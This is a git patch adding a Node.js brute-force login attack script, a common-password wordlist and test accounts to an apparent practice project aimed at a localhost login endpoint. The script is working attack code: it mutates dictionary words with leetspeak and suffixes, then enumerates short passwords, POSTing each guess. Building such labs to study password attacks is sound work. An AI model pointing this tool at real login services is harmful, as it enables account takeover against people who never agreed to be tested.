From e164dec19c0dcd8a917ff1bf6165c6aa131cd42a Mon Sep 17 00:00:00 2001 From: fretuks Date: Sat, 27 Sep 2025 00:06:22 +0200 Subject: [PATCH] Add brute-force attack script, dictionary file, and login test data --- TEST_DATA/users.json | 8 ++ attacks/crack2.js | 168 +++++++++++++++++++++++++++++++++++++++++ attacks/dictionary.txt | 51 +++++++++++++ package.json | 5 +- 4 files changed, 230 insertions(+), 2 deletions(-) create mode 100644 attacks/crack2.js create mode 100644 attacks/dictionary.txt diff --git a/TEST_DATA/users.json b/TEST_DATA/users.json index ae552f5..d1c19d0 100644 --- a/TEST_DATA/users.json +++ b/TEST_DATA/users.json @@ -2,5 +2,13 @@ { "username": "test", "password": "test" + }, + { + "username": "lower", + "password": "lol" + }, + { + "username": "Gaylord", + "password": "Lol_123" } ] \ No newline at end of file diff --git a/attacks/crack2.js b/attacks/crack2.js new file mode 100644 index 0000000..fca6ff0 --- /dev/null +++ b/attacks/crack2.js @@ -0,0 +1,168 @@ +const fs = require('fs'); +const path = require('path'); +const fetch = global.fetch || require('node-fetch'); +const TARGET_URL = 'http://localhost:3000/login'; +const DICT_PATH = path.resolve(__dirname, 'dictionary.txt'); +const MAX_TRIES = 20000000; +let found = false; + +const pLimit = (concurrency) => { + const queue = []; + let active = 0; + const next = () => { + if (queue.length === 0) return; + if (active >= concurrency) return; + active++; + const {fn, resolve} = queue.shift(); + fn().then((r) => { + active--; + resolve(r); + next(); + }, (e) => { + active--; + resolve(Promise.reject(e)); + next(); + }); + }; + return (fn) => new Promise((resolve) => { + queue.push({fn, resolve}); + next(); + }); +}; + +const USERNAME = process.argv[2]; +if (!USERNAME) { + console.error('Usage: node attacker.js '); + process.exit(1); +} + +function safeMask(s) { + if (!s) return ''; + return s.replace(/.(?=.{2})/g, '*'); +} + +const leetMap = {a: ['4', '@'], e: ['3'], i: ['1', '!'], o: ['0'], s: ['5', '$'], t: ['7']}; + +function leetVariants(word) { + const res = new Set(); + function helper(idx, cur) { + if (idx === word.length) { + res.add(cur); + return; + } + const ch = word[idx]; + helper(idx + 1, cur + ch); + const low = ch.toLowerCase(); + if (leetMap[low]) { + for (const sub of leetMap[low]) helper(idx + 1, cur + sub); + } + } + helper(0, ''); + return Array.from(res); +} + +function capsVariants(s) { + return new Set([s, s.toLowerCase(), s.toUpperCase(), s[0].toUpperCase() + s.slice(1)]); +} + +function buildBaseWords() { + const words = new Set(); + if (fs.existsSync(DICT_PATH)) { + const lines = fs.readFileSync(DICT_PATH, 'utf8').split(/\r?\n/).map(l => l.trim()).filter(Boolean); + lines.forEach(w => words.add(w)); + } + return Array.from(words); +} + +function expandWithMutations(baseWords) { + const out = new Set(); + const commonSuffixes = ['!', '1', '123', '2020', '2021', '2022', '#']; + const specialInserts = ['!', '.', '_', '-', '@']; + for (const w of baseWords) { + for (const v of capsVariants(w)) { + out.add(v); + for (const s of commonSuffixes) out.add(v + s); + for (const l of leetVariants(v)) out.add(l); + out.add(v + '!'); + out.add('!' + v); + } + out.add(w + '123'); + out.add(w + '2023'); + for (const c of specialInserts) out.add(w + c); + } + const arr = Array.from(out); + for (let i = 0; i < Math.min(200, arr.length); i++) { + for (let j = 0; j < Math.min(200, arr.length); j++) { + if (i === j) continue; + out.add(arr[i] + arr[j]); + } + } + return Array.from(out); +} + +function* generateAndTest(charset, maxLen) { + for (let len = 1; len <= maxLen; len++) { + const indices = Array(len).fill(0); + while (true) { + yield indices.map(i => charset[i]).join(''); + let pos = len - 1; + while (pos >= 0) { + indices[pos]++; + if (indices[pos] < charset.length) break; + indices[pos] = 0; + pos--; + } + if (pos < 0) break; + } + } +} + +async function tryCandidate(candidate) { + if (found) return false; + const body = {username: USERNAME, password: candidate}; + try { + const resp = await fetch(TARGET_URL, { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(body) + }); + if (resp.status === 200) { + console.log(`FOUND password for ${USERNAME}: ${candidate}`); + found = true; + return true; + } else { + return false; + } + } catch (err) { + console.error('Network error for candidate', safeMask(candidate), err.message); + return false; + } +} + +(async () => { + const base = buildBaseWords(); + console.log('Base words from files/personal:', base.slice(0, 20)); + let candidates = expandWithMutations(base); + console.log(`Generated ${candidates.length} mutated candidates (capped).`); + const common = ['password', '123456', 'qwerty', 'letmein', 'welcome']; + candidates = candidates.concat(common); + if (candidates.length > MAX_TRIES) candidates = candidates.slice(0, MAX_TRIES); + const limit = pLimit(); + for (const c of candidates) { + if (found) break; + await limit(() => tryCandidate(c)); + } + if (!found) { + console.log('No match in dictionary/mutation phase.'); + const charset = '0123456789abcdefghijklmnopqrstuvwxyz'.split(''); + const gen = generateAndTest(charset, 3); + let tries = 0; + for (const candidate of gen) { + if (found) break; + tries++; + if (tries % 1000 === 0) process.stdout.write(`Tried ${tries}\r`); + await limit(() => tryCandidate(candidate)); + } + } + if (!found) console.log('Finished test run; password not found (within limits).'); +})(); \ No newline at end of file diff --git a/attacks/dictionary.txt b/attacks/dictionary.txt new file mode 100644 index 0000000..55a66e6 --- /dev/null +++ b/attacks/dictionary.txt @@ -0,0 +1,51 @@ +123456 +123456789 +12345678 +password +qwerty123 +qwerty1 +111111 +12345 +secret +123123 +1234567890 +1234567 +000000 +qwerty +abc123 +password1 +iloveyou +11111111 +dragon +monkey +1234 +1q2w3e +123321 +sunshine +princess +football +baseball +welcome +admin +login +passw0rd +123qwe +solo +pokemon +shadow +letmein +starwars +qazwsx +trustno1 +master +football1 +696969 +monkey123 +lovely +654321 +zaq1zaq1 +flower +password123 +freedom +gerald +test diff --git a/package.json b/package.json index bd5e768..abbca69 100644 --- a/package.json +++ b/package.json @@ -1,4 +1,4 @@ -{ +{ "name": "bruteforce", "version": "1.0.0", "description": "", @@ -15,7 +15,8 @@ "bcryptjs": "^3.0.2", "body-parser": "^2.2.0", "cors": "^2.8.5", - "express": "^5.1.0" + "express": "^5.1.0", + "node-fetch": "^3.3.2" }, "directories": { "doc": "docs"